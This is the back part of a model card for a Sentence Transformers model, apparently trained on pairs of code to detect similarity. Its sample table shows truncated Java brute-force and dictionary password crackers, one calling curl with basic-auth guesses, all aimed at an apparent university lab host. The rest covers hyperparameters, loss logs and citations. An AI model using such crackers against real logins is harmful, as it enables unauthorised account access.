|
``` |
|
|
|
|
|
<!-- |
|
|
### Direct Usage (Transformers) |
|
|
|
|
|
<details><summary>Click to see the direct usage in Transformers</summary> |
|
|
|
|
|
</details> |
|
|
--> |
|
|
|
|
|
<!-- |
|
|
### Downstream Usage (Sentence Transformers) |
|
|
|
|
|
You can finetune this model on your own dataset. |
|
|
|
|
|
<details><summary>Click to expand</summary> |
|
|
|
|
|
</details> |
|
|
--> |
|
|
|
|
|
<!-- |
|
|
### Out-of-Scope Use |
|
|
|
|
|
*List how the model may foreseeably be misused and address what users ought not to do with the model.* |
|
|
--> |
|
|
|
|
|
<!-- |
|
|
## Bias, Risks and Limitations |
|
|
|
|
|
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
|
|
--> |
|
|
|
|
|
<!-- |
|
|
### Recommendations |
|
|
|
|
|
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
|
|
--> |
|
|
|
|
|
## Training Details |
|
|
|
|
|
### Training Dataset |
|
|
|
|
|
#### Unnamed Dataset |
|
|
|
|
|
* Size: 33,411 training samples |
|
|
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code> |
|
|
* Approximate statistics based on the first 1000 samples: |
|
|
| | sentence_0 | sentence_1 | label | |
|
|
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| |
|
|
| type | string | string | int | |
|
|
| details | <ul><li>min: 51 tokens</li><li>mean: 449.02 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.04 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | |
|
|
* Samples: |
|
|
| sentence_0 | sentence_1 | label | |
|
|
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| |
|
|
| <code><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br><br><br><br>public class BruteForce<br>{<br> public static void main(String args[]) throws IOException,<br> MalformedURLException<br> {<br> final String username = "";<br> final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";<br> <br> String temppass;<br> String password = "";<br> URL url = new URL(fullurl);<br> boolean cracked = false;<br> <br> String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O",<br> "P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d",<br> "e","f","g","h","i","j","k","l","m","n","o","p","q","r","s",<br> "t","u","v","w","x","y","z"};<br> <br> startTime = System.currentTimeMillis();<br> <br> <br> <br> for(int i = 0; i < 52 && !cracked; i++) {<br> temppass = c[i]; <br> Authenticator.setDefault(new MyAuthenticator(username, temppass));<br> try{<br> <br> <br> BufferedReader r = ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class SendEMail {<br><br> public void SendEMail(){}<br><br>public void sendMail(String recipient,String c, String subject){<br> try {<br><br> Socket s = new Socket("yallara.cs.rmit.edu.", 25);<br> BufferedReader in = new BufferedReader<br> (new InputStreamReader(s.getInputStream(), "8859_1"));<br> BufferedWriter out = new BufferedWriter<br> (new OutputStreamWriter(s.getOutputStream(), "8859_1"));<br><br> send(in, out, "HELO theWorld");<br> <br> <br> send(in, out, "MAIL FROM: <watch@dog.>");<br> send(in, out, "RCPT : "+recipient);<br> send(in, out, "DATA");<br> send(out, "Subject: "+ subject);<br> send(out, "From: WatchDog.java");<br> send (out, "\n");<br> <br> BufferedReader reader;<br> String line;<br> reader = new BufferedReader(new InputStreamReader(new FileInputStream()));<br> line = reader.readLine();<br> while (line != null){<br> send(out, line);<br> line = reader.readLine();<br> }<br> send...</code> | <code>0</code> | |
|
|
| <code>import java.util.*;<br>import java.net.*;<br>import java.io.*; <br><br>public class Dictionary<br>{<br> boolean connected = false;<br> int counter;<br> <br> Vector words = new Vector();<br> <br> Dictionary()<br> {<br> counter = 0;<br> this.readWords(); <br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.words.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)words.elementAt(counter-1));<br> counter = words.size();<br> }<br> }<br> }<br> <br><br> public void readWords()<br> {<br> String line;<br><br> try<br> {<br> BufferedReader buffer = new BufferedReader(<br> new FileReader("/usr/share/lib/dict/words"));<br> <br> line = buffer.readLine();<br><br> while(line != null)<br> {<br><br> if(line.length() <= 3)<br> ...</code> | <code><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import java.net.URL;<br>import java.net.URLConnection;<br>import java.util.*;<br><br>public class BruteForce {<br><br> public static void main(String[] args) throws IOException {<br><br> <br> int start , end, total;<br> start = System.currentTimeMillis(); <br><br> String username = "";<br> String password = null;<br> String host = "http://sec-crack.cs.rmit.edu./SEC/2/";<br><br> <br> <br> String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> int lettersLen = letters.length(); <br> int passwordLen=3; <br><br> int passwords=0; <br> int twoChar=0; <br><br> url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();<br> <br><br> <br> String authenticate = ""; <br> String realm = null, domain = null, hostname = null;<br> header = null; <br><br> <br> int responseCode;<br> String responseMsg;<br><br> <br> int temp1=0;<br> int temp2=0;<br> int temp3=0;<br><br><br> <br> <br> <br> for (int a=...</code> | <code>0</code> | |
|
|
| <code><br><br><br><br>public class SMTPException extends Exception {<br><br> private String msg; <br> <br> public SMTPException(String message) {<br> msg = message;<br> }<br><br> <br> public String getMessage() {<br> return msg;<br> }<br>}</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>import java.*;<br>import java.util.*;<br><br>public class Dictionary {<br><br> private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String password; <br> private String previous; <br> private String url; <br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br> public Dictionary() {<br><br> first();<br> finish = true; <br> previous = ""; <br> Runtime run = Runtime.getRuntime();<br> startTime =new Date().getTime(); <br> int i=0;<br> try {<br> try {<br> bf = new BufferedReader(new FileReader("words"));<br> }<br> catch(FileNotFoundException notFound) {<br> bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));<br> }<br><br> while((password = bf.readLine()) != null) {<br> if(password....</code> | <code>0</code> | |
|
|
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) |
|
|
|
|
|
### Training Hyperparameters |
|
|
#### Non-Default Hyperparameters |
|
|
|
|
|
- `per_device_train_batch_size`: 16 |
|
|
- `per_device_eval_batch_size`: 16 |
|
|
- `num_train_epochs`: 1 |
|
|
- `fp16`: True |
|
|
- `multi_dataset_batch_sampler`: round_robin |
|
|
|
|
|
#### All Hyperparameters |
|
|
<details><summary>Click to expand</summary> |
|
|
|
|
|
- `overwrite_output_dir`: False |
|
|
- `do_predict`: False |
|
|
- `eval_strategy`: no |
|
|
- `prediction_loss_only`: True |
|
|
- `per_device_train_batch_size`: 16 |
|
|
- `per_device_eval_batch_size`: 16 |
|
|
- `per_gpu_train_batch_size`: None |
|
|
- `per_gpu_eval_batch_size`: None |
|
|
- `gradient_accumulation_steps`: 1 |
|
|
- `eval_accumulation_steps`: None |
|
|
- `torch_empty_cache_steps`: None |
|
|
- `learning_rate`: 5e-05 |
|
|
- `weight_decay`: 0.0 |
|
|
- `adam_beta1`: 0.9 |
|
|
- `adam_beta2`: 0.999 |
|
|
- `adam_epsilon`: 1e-08 |
|
|
- `max_grad_norm`: 1 |
|
|
- `num_train_epochs`: 1 |
|
|
- `max_steps`: -1 |
|
|
- `lr_scheduler_type`: linear |
|
|
- `lr_scheduler_kwargs`: {} |
|
|
- `warmup_ratio`: 0.0 |
|
|
- `warmup_steps`: 0 |
|
|
- `log_level`: passive |
|
|
- `log_level_replica`: warning |
|
|
- `log_on_each_node`: True |
|
|
- `logging_nan_inf_filter`: True |
|
|
- `save_safetensors`: True |
|
|
- `save_on_each_node`: False |
|
|
- `save_only_model`: False |
|
|
- `restore_callback_states_from_checkpoint`: False |
|
|
- `no_cuda`: False |
|
|
- `use_cpu`: False |
|
|
- `use_mps_device`: False |
|
|
- `seed`: 42 |
|
|
- `data_seed`: None |
|
|
- `jit_mode_eval`: False |
|
|
- `use_ipex`: False |
|
|
- `bf16`: False |
|
|
- `fp16`: True |
|
|
- `fp16_opt_level`: O1 |
|
|
- `half_precision_backend`: auto |
|
|
- `bf16_full_eval`: False |
|
|
- `fp16_full_eval`: False |
|
|
- `tf32`: None |
|
|
- `local_rank`: 0 |
|
|
- `ddp_backend`: None |
|
|
- `tpu_num_cores`: None |
|
|
- `tpu_metrics_debug`: False |
|
|
- `debug`: [] |
|
|
- `dataloader_drop_last`: False |
|
|
- `dataloader_num_workers`: 0 |
|
|
- `dataloader_prefetch_factor`: None |
|
|
- `past_index`: -1 |
|
|
- `disable_tqdm`: False |
|
|
- `remove_unused_columns`: True |
|
|
- `label_names`: None |
|
|
- `load_best_model_at_end`: False |
|
|
- `ignore_data_skip`: False |
|
|
- `fsdp`: [] |
|
|
- `fsdp_min_num_params`: 0 |
|
|
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
|
|
- `fsdp_transformer_layer_cls_to_wrap`: None |
|
|
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
|
|
- `deepspeed`: None |
|
|
- `label_smoothing_factor`: 0.0 |
|
|
- `optim`: adamw_torch |
|
|
- `optim_args`: None |
|
|
- `adafactor`: False |
|
|
- `group_by_length`: False |
|
|
- `length_column_name`: length |
|
|
- `ddp_find_unused_parameters`: None |
|
|
- `ddp_bucket_cap_mb`: None |
|
|
- `ddp_broadcast_buffers`: False |
|
|
- `dataloader_pin_memory`: True |
|
|
- `dataloader_persistent_workers`: False |
|
|
- `skip_memory_metrics`: True |
|
|
- `use_legacy_prediction_loop`: False |
|
|
- `push_to_hub`: False |
|
|
- `resume_from_checkpoint`: None |
|
|
- `hub_model_id`: None |
|
|
- `hub_strategy`: every_save |
|
|
- `hub_private_repo`: None |
|
|
- `hub_always_push`: False |
|
|
- `gradient_checkpointing`: False |
|
|
- `gradient_checkpointing_kwargs`: None |
|
|
- `include_inputs_for_metrics`: False |
|
|
- `include_for_metrics`: [] |
|
|
- `eval_do_concat_batches`: True |
|
|
- `fp16_backend`: auto |
|
|
- `push_to_hub_model_id`: None |
|
|
- `push_to_hub_organization`: None |
|
|
- `mp_parameters`: |
|
|
- `auto_find_batch_size`: False |
|
|
- `full_determinism`: False |
|
|
- `torchdynamo`: None |
|
|
- `ray_scope`: last |
|
|
- `ddp_timeout`: 1800 |
|
|
- `torch_compile`: False |
|
|
- `torch_compile_backend`: None |
|
|
- `torch_compile_mode`: None |
|
|
- `include_tokens_per_second`: False |
|
|
- `include_num_input_tokens_seen`: False |
|
|
- `neftune_noise_alpha`: None |
|
|
- `optim_target_modules`: None |
|
|
- `batch_eval_metrics`: False |
|
|
- `eval_on_start`: False |
|
|
- `use_liger_kernel`: False |
|
|
- `eval_use_gather_object`: False |
|
|
- `average_tokens_across_devices`: False |
|
|
- `prompts`: None |
|
|
- `batch_sampler`: batch_sampler |
|
|
- `multi_dataset_batch_sampler`: round_robin |
|
|
|
|
|
</details> |
|
|
|
|
|
### Training Logs |
|
|
| Epoch | Step | Training Loss | |
|
|
|:------:|:----:|:-------------:| |
|
|
| 0.2393 | 500 | 0.2443 | |
|
|
| 0.4787 | 1000 | 0.2228 | |
|
|
| 0.7180 | 1500 | 0.2148 | |
|
|
| 0.9574 | 2000 | 0.1666 | |
|
|
|
|
|
|
|
|
### Framework Versions |
|
|
- Python: 3.11.13 |
|
|
- Sentence Transformers: 4.1.0 |
|
|
- Transformers: 4.52.4 |
|
|
- PyTorch: 2.6.0+cu124 |
|
|
- Accelerate: 1.7.0 |
|
|
- Datasets: 3.6.0 |
|
|
- Tokenizers: 0.21.1 |
|
|
|
|
|
## Citation |
|
|
|
|
|
### BibTeX |
|
|
|
|
|
#### Sentence Transformers |
|
|
```bibtex |
|
|
@inproceedings{reimers-2019-sentence-bert, |
|
|
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
|
|
author = "Reimers, Nils and Gurevych, Iryna", |
|
|
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
|
|
month = "11", |
|
|
year = "2019", |
|
|
publisher = "Association for Computational Linguistics", |
|
|
url = "https://arxiv.org/abs/1908.10084", |
|
|
} |
|
|
``` |
|
|
|
|
|
#### BatchAllTripletLoss |
|
|
```bibtex |
|
|
@misc{hermans2017defense, |
|
|
title={In Defense of the Triplet Loss for Person Re-Identification}, |
|
|
author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, |
|
|
year={2017}, |
|
|
eprint={1703.07737}, |
|
|
archivePrefix={arXiv}, |
|
|
primaryClass={cs.CV} |
|
|
} |
|
|
``` |
|
|
|
|
|
<!-- |
|
|
## Glossary |
|
|
|
|
|
*Clearly define terms in order to be accessible across audiences.* |
|
|
--> |
|
|
|
|
|
<!-- |
|
|
## Model Card Authors |
|
|
|
|
|
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* |
|
|
--> |
|
|
|
|
|
<!-- |
|
|
## Model Card Contact |
|
|
|
|
|
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* |
|
|
--> |
